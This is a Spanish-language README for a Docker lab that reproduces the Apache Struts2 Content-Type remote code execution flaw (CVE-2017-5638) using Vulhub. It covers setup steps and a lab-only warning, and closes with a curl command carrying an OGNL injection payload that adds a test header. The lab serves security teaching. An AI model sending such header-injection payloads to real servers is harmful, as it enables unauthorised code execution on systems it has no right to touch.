
Un laboratorio práctico que demuestra la explotación de una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Apache Struts2 (CVE-2017-5638) utilizando entornos Docker de Vulhub. Incluye instrucciones de configuración y comandos para ejecutar el contenedor vulnerable.
Este proyecto demuestra la vulnerabilidad de Ejecución Remota de Código (RCE) en Apache Struts2 (CVE-2017-5638).
Los atacantes pueden explotar una cabecera Content-Type HTTP manipulada para ejecutar comandos arbitrarios del sistema en servidores vulnerables.
Este repositorio utiliza laboratorios Docker de Vulhub para proporcionar un entorno seguro para probar y comprender la vulnerabilidad.
1️⃣ Clona este repositorio
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ Inicia el contenedor vulnerable
docker compose up -d
3️⃣ Verifica que el contenedor esté en ejecución
docker ps
Deberías ver algo como:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ Prueba la interfaz web
Abre tu navegador → http://<VM_IP>:8080
Deberías ver la página de inicio de la aplicación Struts2.
Ejemplo de IP de la VM:
192.168.56.101
⚠️ Realiza la explotación únicamente en un entorno de laboratorio controlado. Nunca ataques servidores públicos.
Ahora puedes probar la RCE usando scripts o herramientas como curl o Metasploit contra el contenedor vulnerable.
Ejemplo (reemplaza <comando> con tu comando de prueba):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/